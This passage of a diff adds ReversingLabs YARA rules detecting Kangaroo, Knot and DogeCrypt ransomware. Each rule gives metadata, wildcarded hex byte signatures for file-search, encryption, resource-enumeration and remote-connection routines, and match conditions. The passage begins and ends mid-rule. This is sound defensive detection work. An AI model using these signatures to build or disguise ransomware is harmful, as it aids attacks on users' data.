+            ?? ?? ?? 85 C0 74 ?? 33 FF 83 65 ?? ?? 48 8D 55 ?? 45 33 C9 45 33 C0 48 8B CB FF 15
+            ?? ?? ?? ?? 85 C0 74 ?? 8B 55 ?? 49 8B CF 03 D7 E8 ?? ?? ?? ?? 44 8B 45 ?? 4C 8D 4D
+            ?? 8B D7 48 8B CB 48 03 D0 4C 8B F8 FF 15 ?? ?? ?? ?? 8B 45 ?? 03 F8 EB ?? 8B 45
+        }
+
+	condition:
+		uint16(0)==0x5A4D and ($find_files) and ( all of ($encrypt_files_p*)) and ($remote_connection)
+}
+rule REVERSINGLABS_Win32_Ransomware_Kangaroo : TC_DETECTION MALICIOUS MALWARE FILE
+{
+	meta:
+		description = "Yara rule that detects Kangaroo ransomware."
+		author = "ReversingLabs"
+		id = "ec4342c1-adc9-5ddb-b403-83c2b1ce5899"
+		date = "2020-07-15"
+		modified = "2020-07-15"
+		reference = "ReversingLabs"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.Kangaroo.yara#L1-L91"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "1078fb3d47ad737548419e5ee66e686f705c02fea27a58c0097446547325772c"
+		score = 75
+		quality = 90
+		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
+		status = "RELEASED"
+		sharing = "TLP:WHITE"
+		category = "MALWARE"
+		tc_detection_type = "Ransomware"
+		tc_detection_name = "Kangaroo"
+		tc_detection_factor = 5
+		importance = 25
+
+	strings:
+		$encrypt_files_p1 = {
+            83 EC ?? 53 55 8B 6C 24 ?? 56 57 33 FF 57 57 6A ?? 57 6A ?? 68 ?? ?? ?? ?? 33 DB 55
+            89 5C 24 ?? 89 7C 24 ?? 89 7C 24 ?? FF 15 ?? ?? ?? ?? 8B F0 83 FE ?? 0F 84 ?? ?? ??
+            ?? 8D 44 24 ?? 50 8D 4C 24 ?? 51 8D 54 24 ?? 52 56 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ??
+            6A ?? 68 ?? ?? ?? ?? 57 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? 83 F8 ?? 0F 85 ?? ?? ?? ??
+            8B 54 24 ?? 8D 4C 24 ?? 51 57 57 68 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 83 F8 ?? 0F 85
+            ?? ?? ?? ?? 57 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 03 C0 50 8B 44 24 ?? 68 ?? ?? ?? ??
+            50 FF 15 ?? ?? ?? ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? 8B 54 24 ?? 8B 44 24 ?? 8D 4C 24 ??
+            51 6A ?? 52 68 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? 57 56 FF
+            15 ?? ?? ?? ?? 8B 54 24 ?? 57 8D 4C 24 ?? 51 57 57 6A ?? 57 52 89 44 24 ?? FF 15 ??
+            ?? ?? ?? 8B 44 24 ?? 6A ?? 68 ?? ?? ?? ?? 50 57 8B 3D ?? ?? ?? ?? FF D7 8B 54 24
+        }
+		$encrypt_files_p2 = {
+            6A ?? 8D 4C 24 ?? 51 52 8B D8 53 56 FF 15 ?? ?? ?? ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? 8B
+            44 24 ?? 8B 54 24 ?? 50 8D 4C 24 ?? 51 53 6A ?? 6A ?? 6A ?? 52 FF 15 ?? ?? ?? ?? 83
+            F8 ?? 0F 85 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 56 FF 15 ?? ?? ?? ??
+            8B 4C 24 ?? 6A ?? 8D 44 24 ?? 50 51 53 56 FF 15 ?? ?? ?? ?? 83 F8 ?? 75 ?? 8D 54 24
+            ?? 52 8D 44 24 ?? 50 8D 4C 24 ?? 51 56 FF 15 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 6A ??
+            68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? FF D7 68 ?? ?? ?? ?? 55 8B F8 68 ?? ?? ?? ?? 57
+            FF 15 ?? ?? ?? ?? 83 C4 ?? 57 55 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 57 FF 15 ??
+            ?? ?? ?? 8B C5 C7 44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 53 FF 15
+            ?? ?? ?? ?? 8B 54 24 ?? 52 FF 15 ?? ?? ?? ?? 8B 5C 24 ?? 33 FF 8B 44 24 ?? 50 FF 15
+            ?? ?? ?? ?? 89 7C 24 ?? 8B 4C 24 ?? 57 51 FF 15 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 5F
+            5E 5D 8B C3 5B 83 C4 ?? C3
+        }
+		$find_files = {
+            55 8B EC 83 E4 ?? 81 EC ?? ?? ?? ?? 53 56 8B 75 ?? 57 56 FF 15 ?? ?? ?? ?? 8B 3D ??
+            ?? ?? ?? 33 C9 83 F8 ?? 0F 94 C1 56 8D 94 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 52 89 4C 24
+            ?? FF D7 83 C4 ?? 8D 44 24 ?? 50 8D 8C 24 ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 89 44 24
+            ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? EB ?? EB ?? 8D A4 24 ?? ?? ?? ?? 90
+            8B 3D ?? ?? ?? ?? 83 7C 24 ?? ?? 75 ?? 8D 54 24 ?? 52 56 68 ?? ?? ?? ?? 8D 84 24 ??
+            ?? ?? ?? 50 EB ?? 8D 4C 24 ?? 51 56 68 ?? ?? ?? ?? 8D 94 24 ?? ?? ?? ?? 52 FF D7 83
+            C4 ?? F6 44 24 ?? ?? 74 ?? 8B 3D ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF D7 85
+            C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 4C 24 ?? 51 FF D7 85 C0 0F 84 ?? ?? ?? ?? 8D
+            94 24 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? E9 ?? ?? ?? ?? 33 FF 33 F6 EB ?? 8D 9B
+            ?? ?? ?? ?? 8B 86 ?? ?? ?? ?? 50 8D 8C 24 ?? ?? ?? ?? 51 FF D3 85 C0 74 ?? BF ?? ??
+            ?? ?? 83 C6 ?? 83 FE ?? 72 ?? 68 ?? ?? ?? ?? 8D 94 24 ?? ?? ?? ?? 52 FF D3 85 C0 75
+            ?? 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 FF D3 85 C0 74 ?? BF ?? ?? ?? ?? 8B 44 24
+            ?? A8 ?? 75 ?? A9 ?? ?? ?? ?? 75 ?? 85 FF 75 ?? 3D ?? ?? ?? ?? 74 ?? 68 ?? ?? ?? ??
+            8D 8C 24 ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 8D 94 24 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83
+            C4 ?? 85 C0 75 ?? 8D 84 24 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 8D 8C
+            24 ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 8B 75 ?? 8B 44 24 ?? 8D 54 24 ?? 52 50 FF 15 ??
+            ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 4C 24 ?? 51 FF 15 ?? ?? ?? ?? 5F 5E 5B 8B E5 5D
+            C3
+        }
+		$enum_resources = {
+            55 8B EC 83 E4 ?? 83 EC ?? 8B 4D ?? 53 56 57 8D 44 24 ?? 50 51 6A ?? 6A ?? 6A ?? C7
+            44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 74 ?? 33 C0 5F 5E
+            5B 8B E5 5D C2 ?? ?? 8B 54 24 ?? 52 6A ?? FF 15 ?? ?? ?? ?? 8B D8 85 DB 74 ?? 8B 4C
+            24 ?? 8B C3 85 C9 74 ?? 8D 64 24 ?? C6 00 ?? 40 83 E9 ?? 75 ?? 8B 54 24 ?? 8D 44 24
+            ?? 50 53 8D 4C 24 ?? 51 52 E8 ?? ?? ?? ?? 85 C0 75 ?? 33 FF 39 7C 24 ?? 76 ?? 8D 73
+            ?? 8D 49 ?? 83 7E ?? ?? 75 ?? 8B 06 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B 4E ?? 83 E1 ?? 80
+            F9 ?? 75 ?? 8D 56 ?? 52 E8 ?? ?? ?? ?? 47 83 C6 ?? 3B 7C 24 ?? 72 ?? EB ?? 3D ?? ??
+            ?? ?? 75 ?? 53 FF 15 ?? ?? ?? ?? 8B 44 24 ?? 50 E8 ?? ?? ?? ?? 5F 5E B8 ?? ?? ?? ??
+            5B 8B E5 5D C2
+        }
+
+	condition:
+		uint16(0)==0x5A4D and ($find_files) and ( all of ($encrypt_files_p*)) and ($enum_resources)
+}
+rule REVERSINGLABS_Win32_Ransomware_Knot : TC_DETECTION MALICIOUS MALWARE FILE
+{
+	meta:
+		description = "Yara rule that detects Knot ransomware."
+		author = "ReversingLabs"
+		id = "4dfe9da5-7ab1-57dc-95fc-b05777f235b8"
+		date = "2021-03-19"
+		modified = "2021-03-19"
+		reference = "ReversingLabs"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.Knot.yara#L1-L118"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "a7a3e13139d68314e583ec225a5d56373a551e67d46984dcf9a228a1f7275f14"
+		score = 75
+		quality = 90
+		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
+		status = "RELEASED"
+		sharing = "TLP:WHITE"
+		category = "MALWARE"
+		tc_detection_type = "Ransomware"
+		tc_detection_name = "Knot"
+		tc_detection_factor = 5
+		importance = 25
+
+	strings:
+		$encrypt_files_p1 = {
+            55 8B EC 81 EC ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 8B 45 ?? 50
+            FF 15 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 75 ?? 32 C0 E9 ?? ?? ?? ?? 6A ?? 8B 4D ?? 51
+            FF 15 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 75 ?? 32 C0 E9 ?? ?? ?? ?? 6A ?? 6A ?? 6A ??
+            6A ?? 6A ?? 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 75 ?? 32 C0 E9 ?? ??
+            ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 75
+            ?? 32 C0 E9 ?? ?? ?? ?? 8D 4D ?? 51 6A ?? 6A ?? 68 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? 52
+            FF 15 ?? ?? ?? ?? 85 C0 75 ?? 32 C0 E9 ?? ?? ?? ?? 6A ?? 8B 45 ?? 50 8B 4D ?? 51 8B
+            55 ?? 52 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 32 C0 E9 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ??
+            ?? ?? 8D 85 ?? ?? ?? ?? 50 6A ?? 6A ?? 6A ?? 6A ?? 8B 4D ?? 51 FF 15 ?? ?? ?? ?? 85
+            C0 75 ?? 32 C0 E9 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 52 6A ?? FF 15 ?? ?? ?? ?? 50 FF 15
+            ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 75 ?? 32 C0 E9 ?? ?? ?? ?? 8D 85
+            ?? ?? ?? ?? 50 8B 8D ?? ?? ?? ?? 51 6A ?? 6A ?? 6A ?? 8B 55 ?? 52 FF 15
+        }
+		$encrypt_files_p2 = {
+            85 C0 75 ?? 32 C0 E9 ?? ?? ?? ?? 8B 45 ?? 50 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 FF
+            15 ?? ?? ?? ?? 83 C4 ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 8D 95
+            ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 0F 84 ?? ?? ?? ?? C7 85 ?? ??
+            ?? ?? ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 6A ?? 8D 8D ?? ?? ?? ?? 51 6A
+            ?? 8D 95 ?? ?? ?? ?? 52 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 6A ?? 8D 8D ?? ?? ?? ?? 51 8B
+            95 ?? ?? ?? ?? 52 8B 85 ?? ?? ?? ?? 50 8B 4D ?? 51 FF 15 ?? ?? ?? ?? 8B 55 ?? 52 6A
+            ?? FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 74
+            ?? 8B 85 ?? ?? ?? ?? 50 8B 8D ?? ?? ?? ?? 51 8B 95 ?? ?? ?? ?? 52 8B 45 ?? 50 8B 4D
+            ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 8D 95 ?? ?? ?? ?? 52 8B 45 ?? 50 8B 8D ?? ?? ??
+            ?? 51 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 8B 4D ?? 51 FF 15
+            ?? ?? ?? ?? 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 8B 4D ?? 51
+            FF 15 ?? ?? ?? ?? B0 ?? 8B E5 5D C3
+        }
+		$find_files_p1 = {
+            55 8B EC 81 EC ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? C6 85
+            ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 89 85 ?? ?? ??
+            ?? 83 BD ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 0F B7 8D ?? ?? ?? ?? 83 F9 ?? 0F 84 ?? ??
+            ?? ?? 8B 95 ?? ?? ?? ?? 83 E2 ?? 89 95 ?? ?? ?? ?? 74 ?? 8D 85 ?? ?? ?? ?? 50 FF 15
+            ?? ?? ?? ?? 83 F8 ?? 75 ?? 8B 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? FF 15
+            ?? ?? ?? ?? E9 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 52 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ??
+            8D 8D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 95
+            ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? 51 E8 ?? ??
+            ?? ?? 83 C4 ?? 8D 95 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ??
+            ?? ?? ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? C7 85 ?? ?? ?? ??
+            ?? ?? ?? ?? EB ?? 8B 8D ?? ?? ?? ?? 83 C1 ?? 89 8D ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ??
+            73 ?? 8B 95 ?? ?? ?? ?? 8B 04 95 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? 51 E8 ?? ?? ?? ??
+            83 C4 ?? 85 C0 74 ?? C6 85 ?? ?? ?? ?? ?? EB ?? 0F B6 95 ?? ?? ?? ?? 83 FA ?? 75
+        }
+		$find_files_p2 = {
+            C7 85 ?? ?? ?? ?? ?? ?? ?? ?? EB ?? 8B 85 ?? ?? ?? ?? 83 C0 ?? 89 85 ?? ?? ?? ?? 83
+            BD ?? ?? ?? ?? ?? 73 ?? 8B 8D ?? ?? ?? ?? 8B 14 8D ?? ?? ?? ?? 52 8B 85 ?? ?? ?? ??
+            50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 ?? C6 85 ?? ?? ?? ?? ?? EB ?? 0F B6 8D ?? ?? ??
+            ?? 83 F9 ?? 0F 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ??
+            ?? ?? ?? 50 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 83 C4 ?? 68 ?? ??
+            ?? ?? 8D 95 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? ??
+            ?? ?? 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ??
+            68 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8B 95 ??
+            ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 50 E8 ?? ?? ??
+            ?? 83 C4 ?? 68 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ??
+            ?? 8B 95 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 50
+            E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ??
+            8B 95 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 8B 8D ?? ?? ?? ??
+            51 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ??
+            8B E5 5D C3
+        }
+		$remote_connection = {
+            55 8B EC 81 EC ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 6A
+            ?? FF 15 ?? ?? ?? ?? 89 45 ?? FF 15 ?? ?? ?? ?? 3D ?? ?? ?? ?? 75 ?? 6A ?? FF 15 ??
+            ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 C0 83 F8 ?? 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ??
+            ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 C8 83 F9 ?? 0F 85 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 50 E8
+            ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 52 68 ?? ?? ?? ?? FF 15 ?? ??
+            ?? ?? E8 ?? ?? ?? ?? 99 B9 ?? ?? ?? ?? F7 F9 81 C2 ?? ?? ?? ?? 52 8D 95 ?? ?? ?? ??
+            52 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 83 C4 ?? 6A ?? 6A ?? 8D 8D
+            ?? ?? ?? ?? 51 68 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 68 ?? ??
+            ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 52 E8 ??
+            ?? ?? ?? 83 C4 ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 75 ?? 8D 85 ?? ?? ?? ?? 50
+            FF 15 ?? ?? ?? ?? 33 C0 E9 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 6A ??
+            6A ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 6A ?? 6A ?? FF 15 ?? ?? ??
+            ?? E8 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? EB ?? 8B 95 ?? ??
+            ?? ?? 83 C2 ?? 89 95 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 7F ?? 8D 85 ?? ?? ?? ?? 50 8B
+            8D ?? ?? ?? ?? 51 8B 95 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 89 85 ?? ?? ?? ?? 8B
+            85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 74 ?? 83 BD ?? ?? ?? ?? ?? 74
+            ?? EB ?? 8D 8D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 83 F8 ?? 75 ?? 8D 95 ?? ?? ?? ?? 52
+            E8 ?? ?? ?? ?? 83 C4 ?? EB ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF
+            15 ?? ?? ?? ?? 83 C4 ?? 6A ?? 6A ?? 8D 8D ?? ?? ?? ?? 51 68 ?? ?? ?? ?? 68 ?? ?? ??
+            ?? 6A ?? FF 15 ?? ?? ?? ?? 33 C0 8B E5 5D C2
+        }
+
+	condition:
+		uint16(0)==0x5A4D and ( all of ($find_files_p*)) and ( all of ($encrypt_files_p*)) and ($remote_connection)
+}
+rule REVERSINGLABS_Win32_Ransomware_Dogecrypt : TC_DETECTION MALICIOUS MALWARE FILE
+{
+	meta:
+		description = "Yara rule that detects DogeCrypt ransomware."
+		author = "ReversingLabs"
+		id = "e0ca22a5-70bb-5d2c-bce4-bac49c2a81d2"
+		date = "2021-04-28"
+		modified = "2021-04-28"
+		reference = "ReversingLabs"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.DogeCrypt.yara#L1-L114"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "1c19862884cf1e59d12c84f5ff6f799a4087ddc8bd887e0d2ce7da053642b851"
+		score = 75
+		quality = 90
+		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
+		status = "RELEASED"
+		sharing = "TLP:WHITE"
+		category = "MALWARE"
+		tc_detection_type = "Ransomware"
+		tc_detection_name = "DogeCrypt"
+		tc_detection_factor = 5
+		importance = 25
+
+	strings:
+		$encrypt_files_DogeCrypt_p1 = {
+            50 E8 ?? ?? ?? ?? 8D 45 ?? C6 45 ?? ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ??
+            ?? BA ?? ?? ?? ?? 83 3D ?? ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? 0F 43 15 ?? ?? ?? ?? 8B 85
+            ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 2B C6 89 B5 ?? ?? ?? ?? 3B C8 77 ?? 83 BD ?? ?? ?? ??
+            ?? 8D 3C 31 8D 04 09 89 BD ?? ?? ?? ?? 50 8B 85 ?? ?? ?? ?? 8D B5 ?? ?? ?? ?? 0F 43
+            B5 ?? ?? ?? ?? 52 8D 04 46 50 E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 66 89 04 7E EB ?? 51 52
+            C6 85 ?? ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 51 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 7D ??
+            ?? 8D 45 ?? 8B 35 ?? ?? ?? ?? 0F 43 45 ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68
+            ?? ?? ?? ?? 50 FF D6 8B F8 83 FF ?? 74 ?? 83 BD ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 6A
+            ?? 0F 43 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 50 FF D6 8B
+            F0 83 FE ?? 0F 85 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 83 FA ?? 72 ?? 8B
+            8D ?? ?? ?? ?? 8D 14 55 ?? ?? ?? ?? 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ??
+            2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 95 ?? ??
+            ?? ?? 33 C0 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 66 89 85 ??
+            ?? ?? ?? 83 FA ?? 72 ?? 8B 8D ?? ?? ?? ?? 8D 14 55 ?? ?? ?? ?? 8B C1 81 FA ?? ?? ??
+            ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ??
+            ?? ?? 83 C4 ?? 8B 95 ?? ?? ?? ?? 83 FA ?? 72 ?? 8B 8D ?? ?? ?? ?? 8D 14 55 ?? ?? ??
+            ?? 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ??
+            ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 95 ?? ?? ?? ?? 83 FA ?? 72 ?? 8B 8D ?? ??
+            ?? ?? 8D 14 55 ?? ?? ?? ?? 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83
+        }
+		$encrypt_files_DogeCrypt_p2 = {
+            C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 95 ?? ?? ?? ?? 83
+            FA ?? 0F 82 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8D 14 55 ?? ?? ?? ?? 8B C1 81 FA ?? ?? ??
+            ?? 0F 82 ?? ?? ?? ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? E9
+            ?? ?? ?? ?? 90 6A ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 57 FF
+            15 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? BA ?? ?? ?? ?? 81 F9 ?? ?? ?? ?? 0F 42 DA 85 C0 74
+            ?? 85 C9 74 ?? 51 8D 85 ?? ?? ?? ?? 89 8D ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 6A ??
+            53 6A ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 6A ?? 8D 85 ?? ?? ?? ?? 50 FF B5 ?? ??
+            ?? ?? 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? EB ?? 56 8B 35 ?? ?? ?? ?? FF D6 57
+            FF D6 83 7D ?? ?? 8D 45 ?? 0F 43 45 ?? 50 FF 15 ?? ?? ?? ?? E9 ?? ?? ?? ?? 52 51 E8
+            ?? ?? ?? ?? 83 C4 ?? 8B 55 ?? 33 C0 66 89 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ??
+            ?? 89 85 ?? ?? ?? ?? 83 FA ?? 72 ?? 8B 4D ?? 8D 14 55 ?? ?? ?? ?? 8B C1 81 FA ?? ??
+            ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 77 ?? 52 51 E8 ?? ?? ?? ?? 83
+            C4 ?? 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 5B 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5
+            5D C3
+        }
+		$find_files_DogeCrypt = {
+            8B FF 55 8B EC 51 8B 4D ?? 8D 51 ?? 8A 01 41 84 C0 75 ?? 57 8B 7D ?? 2B CA 8B C7 41
+            F7 D0 89 4D ?? 3B C8 76 ?? 6A ?? 58 EB ?? 53 56 8D 5F ?? 03 D9 6A ?? 53 E8 ?? ?? ??
+            ?? 8B F0 59 59 85 FF 74 ?? 57 FF 75 ?? 53 56 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? FF
+            75 ?? 2B DF 8D 04 3E FF 75 ?? 53 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 8B 5D ?? 8B
+            CB E8 ?? ?? ?? ?? 33 FF 89 45 ?? 85 C0 74 ?? 56 E8 ?? ?? ?? ?? 8B 75 ?? 59 EB ?? 8B
